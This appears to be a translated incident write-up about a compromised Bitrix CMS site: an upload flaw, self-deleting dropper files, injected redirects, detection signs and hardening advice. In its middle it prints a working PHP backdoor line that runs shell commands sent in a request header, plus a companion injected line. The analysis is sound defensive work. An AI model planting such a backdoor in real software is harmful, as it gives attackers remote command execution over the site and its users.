In early July 2022, the hosting technical support team discovered that the client's website contained malicious code.
The email reported the presence of a malicious function on the website. The initial information was obtained through the channels of the National Coordination Center for Computer Incidents. Specifically, the email mentioned a JS code on the site that redirected users to a phishing website controlled by the attackers, i.e. an XSS attack was performed.
The site is managed using the Bitrix CMS. It is important to note that the customer's license had expired, i.e. the site engine was not updated to the latest version.
After receiving the information, the infected files were immediately examined. They turned out to be core.js and prolog.php.
The attackers' efforts were directed towards injecting external code into these files, which caused the redirection to other sites (redirect). This scenario, it should be noted, is not the most pessimistic: having gained access to the file contents, hackers can also completely erase the information.
After removing the malicious code, work continued. Although the infected files were restored, the previously used vulnerability still existed and posed a risk of repeated attack.
Subsequent examination of Bitrix forums helped identify information about similar incidents involving other users. Despite the lack of specific vulnerability data, this opened up the possibility for further work.
Initially, it was hypothesized that an outdated vote module had a vulnerability, but this hypothesis was not confirmed.
Subsequently, network requests from the past few days were analyzed to detect suspicious activity. The work allowed us to detect a suspicious request at the address /bitrix/tools/sale_print.php. It is known that the Bitrix file system does not include such a file. It was found that the file was missing at the specified address, which led to the hypothesis (later confirmed) that the file was self-deleted after being accessed.
How does a virus infect a site without granting access?
This is a logical question from the owner of a web resource after being informed of a virus discovery. The most common measures are to search for the attacker among webmasters, change passwords and access. Unfortunately, this is not always enough.
After analyzing earlier network requests than the already mentioned sale_print, two requests to /bitrix/tools/html_editor_action.php were discovered.
It should be noted that html_editor_action.php is a component of the Bitrix visual editor for working with uploaded materials, including images.
A decision was made to study the code base of these functions in order to understand whether the specified file is related to the vulnerability. The work allowed to find out that during the loading of materials using the Bitrix visual editor, the content is placed in a temporary folder. An immediate check of this folder was carried out, which yielded a result: a file and logs (log) were discovered from June 21. A detailed analysis helped to identify the file as a serialized BitrixMainORMDataResult object with a system command to create the previously mentioned sale_print.php file with encrypted content. Based on the logs, it can be assumed that the file was perceived in the Bitrix system as an image.
Thus, it was html_editor_action.php that turned out to be the cause of the vulnerability. It remained to determine what allowed the file to be uploaded to the server.
It should also be clarified here that access to the file that creates sale_print.php allowed decryption of the object's contents. As it turned out, there was no infection of the core.js and prolog.php files. Instead, sale_print.php creates a dummy file main.php, located at /bitrix/components/bitrix/main.file.input, and disguised as a standard Bitrix file by date. Therefore, upon discovering this file, it should not be taken as a system file - it should be immediately deleted.
Changes are made to the contents of the /bitrix/modules/fileman/classes/general/html_editor.php file through sale_print. These are two lines:
- "spell_word" => $_SERVER['HTTP_S'] == "bermuda" ? die(system($_SERVER['HTTP_P'])) : "",
- if(substr($_POST['bxu_info']['CID'], 0, 7 ) === "default") die();
These lines are also not related to the original Bitrix content and should be deleted if found.
The infection of core.js and prolog.php files is carried out through requests to the dummy file main.php.
CMS accessibility for hackers
Returning to the vulnerability within html_editor_action.php, it should be noted that the problem allowed for the sending of infected files and, as a result, posed actual risks.
Thanks to the analysis of the html_editor_action.php codebase, valuable conclusions were made on this matter.
Vulnerability of old Bitrix versions to viruses
If the CMS has not been updated for a long time, approximately before 2021, this means the presence of a simple input check for the CSRF token without further specific checks. The absence of these checks increases the risk that hackers can fake their request under a real user's request (this operation was carried out on a test site for verification purposes).
The latest version of Bitrix additionally checks authorized users. However, this does not mean that owners of a valid license have no reason to worry.
Any user authorization, without the involvement of the administrator, is sufficient for verification. Since most Bitrix web resources are stores, a user account is created for the buyer when placing an order, which already provides authorization. This is sufficient to pass the new verification, so the risk remains.
The results of the analysis were used to improve Bitrix checks and eliminate the possibility of uploading malicious files without compromising existing functions.
Today, it can be confidently stated that the vulnerability has been eliminated, and the risks for users have been reduced to zero.
Of course, hacker activity aimed at new methods of attacking commercial web resources does not stop.
How to detect the presence of a virus on a site?
Characteristic signs:
- redirecting to other websites;
- notifications from the hosting about the detection of malicious code;
- notifications from "Yandex.Webmaster";
- disappearance of pages from the index;
- stopping "Yandex.Direct" ads without obvious reasons;
- slowdown or inaccessibility of the website;
- appearance of pages on the website that are not related to its topic (primarily prohibited themes).
The listed signs may indicate a virus attack, which requires immediate contact with support staff.
Website protection from viruses
Recommended actions to ensure reliability:
- regular CMS updates - the popularity of the system contributes to the growth in the number of users and, consequently, hackers;
- periodic password change (every six months or more often) for hosting and admin panel;
- deletion or modification of access for employees who have left the company;
- non-distribution of access among users with low trust;
- use of secure browsers with personal information forwarding blocking;
- installation of reliable passwords with a minimum possibility of guessing.
It is also necessary to avoid installing suspicious software and following suspicious web links.
If the search for a solution remains unsuccessful, professional technical support can help to solve the problem.